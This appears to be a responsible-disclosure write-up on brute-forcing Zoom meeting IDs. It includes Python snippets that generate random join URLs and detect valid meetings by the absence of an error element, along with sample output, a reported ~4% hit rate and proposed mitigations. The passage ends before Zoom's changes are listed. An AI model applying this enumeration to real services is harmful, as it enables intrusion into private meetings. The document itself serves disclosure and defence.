In this publication we describe a technique which would have allowed a threat actor to potentially identify and join active meetings.
All the details discussed in this publication were responsibly disclosed to Zoom Video Communications, Inc. In response, Zoom introduced a number of mitigations, so this attack is no longer possible.
If you use Zoom, you may already know that Zoom Meeting IDs are composed of 9, 10 or 11 digits. The problem was that if you hadn’t enabled the “Require meeting password” option or enabled Waiting Room, which allows manual participants admission, these 9-10-11 digits were the only thing that secured your meeting i.e. prevented an unauthorized person from connecting to it.
Let Me Guess…
The first thing we did was pre-generate the list of potentially valid Zoom Meeting IDs. We took 1000 “random” Meeting IDs and prepared the URL string for joining the meeting here as well:
urls = []
for _ in range(1000):
urls.append("https://zoom.us/j/{}".format(randint(100000000, 9999999999)))
But how could we determine if a Zoom Meeting ID represented a valid meeting or not? We discovered a fast and easy way to check this based on the following “div” element present in the HTML Body of the returned response, when accessing “Join Meeting” URL (https://zoom.us/j/{MEETING_ID})
<div id="join-errormsg" class="error"><i></i><span>Invalid meeting ID.</span></div>
I Found It!
We then tried to automate the described approach (just in case you don’t want to brute force all the Meeting IDs by hand):
for url in urls: yield MakeHTTPRequest(url=url, callback=parseResponse) def MakeHTTPRequest(url, callback) … def parseResponse(response): if response.css('div#join-errormsg').get() is None: print('Valid Meeting ID found: {}'.format(response.url)) else: print('Invalid Meeting ID')
…and look at the output:
Invalid Meeting ID
Invalid Meeting ID
Valid Meeting ID found: https://zoom.us/j/22XXX41X8
Invalid Meeting ID
Invalid Meeting ID
Invalid Meeting ID
Invalid Meeting ID
Invalid Meeting ID
Invalid Meeting ID
Invalid Meeting ID
Invalid Meeting ID
Invalid Meeting ID
Invalid Meeting ID
Invalid Meeting ID
Invalid Meeting ID
Valid Meeting ID found: https://zoom.us/j/8XXX34XXX9
Invalid Meeting ID
Invalid Meeting ID
Invalid Meeting ID
Invalid Meeting ID
Invalid Meeting ID
Invalid Meeting ID
Invalid Meeting ID
Invalid Meeting ID
Invalid Meeting ID
Invalid Meeting ID
Valid Meeting ID found: https://zoom.us/j/93XXX9XXX5
Invalid Meeting ID
Invalid Meeting ID
Bingo!
Results
We were able to predict ~4% of randomly generated Meeting IDs, which is a very high chance of success, comparing to the pure brute force.
We contacted Zoom on July 22, 2019 as part of a responsible disclosure process and proposed the following mitigations:
1. Re-implement the generation algorithm of Meeting IDs
2. Replace the randomization function with a cryptographically strong one.
3.Increase the number of digits\symbols in the Meeting IDs.
4.Force hosts to use passwords\PINs\SSO for authorization purposes.
Zoom representatives were very collaborative and responded quickly to our emails. Here is the list of changes that were introduced to the Zoom client\infrastructure following our disclosure: